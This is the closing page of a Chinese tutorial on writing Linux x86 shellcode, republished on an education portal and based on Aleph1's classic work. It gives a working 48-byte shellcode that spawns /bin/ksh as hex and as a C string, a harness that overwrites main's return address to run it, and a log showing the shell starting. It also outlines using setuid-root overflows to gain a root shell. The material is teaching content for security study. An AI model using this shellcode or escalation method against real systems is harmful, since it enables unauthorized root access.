网站首页  |  幼儿教育  |  中小学教育  |  电脑教育  |  英语教育  |  教育论文  |  家长教育 设为首页加入收藏联系投稿 
 位置: 中国教育学习网 > 电脑教育 > 程序设计 > C语言 > 正文

Linux下的shellcode书写

字号:   

# 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/ksh" # 9 bytes
# 48 bytes total
");
}
80483ca: c9 leave
80483cb: c3 ret
80483cc: 90 nop

整理shellcode如下:

eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b
89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd
80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

20. 验证最后调整得到的shellcode

vi shelltest.c

char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxffx2fx62x69x6ex2fx6bx73x68x00xc9xc3";

int main ()
{
int * ret; /* 当前esp指向的地址保存ret的值 */

ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题。
你可以根据自己的需要,编写出自己的shellcode来。

★ 我对shellcode以及这篇文章的看法

1. 你是从DOS年代过来的吗?

如果答案肯定,我就不多说了,因为上面通篇实际上并没有超出当年我们
在DOS游戏汇编的范畴,毕竟Linux跑在Intel x86架构上。当发生far call的
时候,cs:ip对被压栈,先是ip后是cs,现在想起来为什么上面的介绍那么地
似曾相识了吧。int发生的时候不过多压了个flag而已。那么far jmp就更不
用多说。回忆,再回忆,回忆那些当年我们为之付出心血的DOS下的汇编语言。
ret、iret、int 3、int 21、int 1,TSR,你还能想起什么尘封了的往事。

通过修改堆栈中的返回地址将程序流程引导到别处,曾经是dos下的家常便饭,
为了防止中断向量被修改,宁可远程call远程跳转也不愿意使用int指令,编写
自己的debug程序,利用int 1的单步,难道你没有修改过堆栈中的返回地址?
为了嵌入那些当前编译器不支持的机器码,用db直接插入机器码。为了提高某些
关键代码的执行效率,使用嵌入式汇编,难道你从来没有看过.s文件?

不再回忆,DOS已是昨天。

2. 关于文章中的一些技术说明

原文是用/bin/sh的,我为了从头实际演练一番,用了/bin/ksh,你要是
乐意可以使用任意的shell。其次,可能是原文有误,要么是翻译中书写错误,
反正是有那么几处错误,我都一一调整过来了。原文是用gdb那样获得完整的
shellcode的,而我昨天刚刚介绍了objdump的使用,所以也可以利用objdump
获得shellcode,上文中已经多次给出了完整的命令。

最后的shelltest,我给加上了注释,因为你可能看到最后没有理解shellcode
如何被执行的。因为c编译器给main()函数前后都加了启动结束代码,main()
函数也是被调用的,也有自己的返回地址,所以程序中修改main()的返回地址
使得shellcode被执行。所以,你不能在main()函数的最后调用exit(0)。因为
函数的形式参数先于返回地址压栈,所以即使成了
int main ( int argc, char * argv[] )
也不影响返回地址的修改。

定义ret局部变量就意味着esp已经获得,必须明确理解这一点。

这里仅仅介绍了如何写自己的shellcode,并没有介绍缓冲区溢出本身。
简单说两句。从纯粹的攻击角度而言,首先要寻找那些suid/sgid的属主
是root的应用程序,然后判断该应用程序是否可能发生缓冲区溢出,继而
抢在应用程序结束之前嵌入自己的shellcode,因为应用程序结束之前一般
而言还处在suid状态,那么此时执行的shellcode也就具有了suid特性,
于是拥有root权限的shell展现在你的眼前,还等什么?关于缓冲区溢出
本身回头再经典回放,力争做到通俗易懂,可以照猫画老虎,今天不提它了,:-)

3. 如何写Sun工作站上的shellcode?

建议去绿色兵团的Unix系统安全论坛学习这方面的知识,tt目前坐镇那里,
倒是展开了不少技术讨论,你可以只看不吭声,嘿嘿。
不过,只要稍微花点时间看看answer book中关于Sun工作站上的汇编那一
部分,原理是一致的,而且GNU工具也不是没有,如果你一定喜欢gdb而不是
dbx的话,faint

我是没有Sun工作站可以用了,否则今天就以它为例子来演习,可惜。

★ 后记

最后再次向aleph1致敬,感谢tt为我们大家翻译整理了它。
要是多一些这样的朋友,系统安全一定可以得到实质性提高。
BTW,讨厌听别人说,怎么怎么黑了谁谁。

来源:中国网络安全联盟(http://www.chinansl.com/cindex.asp)

上一页  [1] [2] [3] 

收藏此文  |  打印  

 
  • 上一篇教程:

  • 下一篇教程:

  •   GoogLe
     
      最新推荐
  • 此栏目下没有推荐教程

  •   最近更新

      GoogLe

     
    Powered by Cn-Education.Com (c) 2005-2008 中国教育学习网 教育网站长QQ交流群60041790
    设为首页  |  加入收藏  |  版权申明  |  广告服务  |  联系我们  |  友情链接  |  网站地图  |  返回顶部 ↑